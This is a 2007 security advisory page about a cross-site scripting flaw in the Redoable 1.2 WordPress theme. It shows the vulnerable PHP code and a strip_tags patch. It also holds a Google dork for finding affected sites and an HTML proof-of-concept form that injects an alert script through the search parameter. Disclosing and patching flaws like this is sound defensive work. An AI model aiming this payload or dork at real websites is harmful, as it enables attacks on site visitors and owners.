SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Redoable 1.2 Cross-Site Scripting Vulnerability (patch included)


Arrow  SecurityAlert : 2721
Arrow  CVE : CVE-2007-2757
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : No
Arrow  Credit : John Martinelli
Arrow  Published : 22.05.2007

Arrow  Affected Software : Redoable 1.2



Arrow  Advisory Content :  

note to editors: this patch resolves this vulnerability:
http://redlevel.org/wp-content/uploads/patch.zip

<!--

Redoable 1.2 - Cross-Site Scripting Vulnerability

---------------
Vulnerable Code
---------------

header.php (line 6):
... elseif (is_search()) { ?> Search for <?php echo $s } ...

searchloop.php (line 24):
elseif (is_search()) { printf(__('Search Results for '%s'','redo_domain'),
$s); }

------------
Patched Code
------------

header.php (line 6 FIXED):
... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ...

searchloop.php (line 24 FIXED):
elseif (is_search()) { printf(__('Search Results for '%s'','redo_domain'),
strip_tags($s)); }

Vulnerable Variable: s
Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php
Vulnerable: Redoable 1.2 (other versions should also be vulnerable)
Google d0rk: "and Redoable 1.2"

John Martinelli
john (at) martinelli (dot) com [email concealed]

RedLevel Security
http://www.RedLevel.org

May 17th, 2007

!-->

<html>
<head><title>Redoable 1.2 - Cross-Site Scripting
Vulnerability</title><body>
<center><br><br>
<font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br>
<font size=3>discovered by <a href="http://john-martinelli.com">John
Martinelli</a> of <a href="http://redlevel.org">RedLevel

Security</a><br><br>
Google d0rk: <a
href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable
1.2"</a>
</font><br><br><br>

<center>file <b>index.php</b> - variable <b>s</b> - method
<b>get</b></center><br>
<form action="http://www.target.com/index.php" method="get">
<input size=75 name="s" value="</title><script>alert(1)</script>">
<input type=submit value="Execute XSS Attack" class="button">
</form>
<br><br><br>

</form>
</body></html>





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.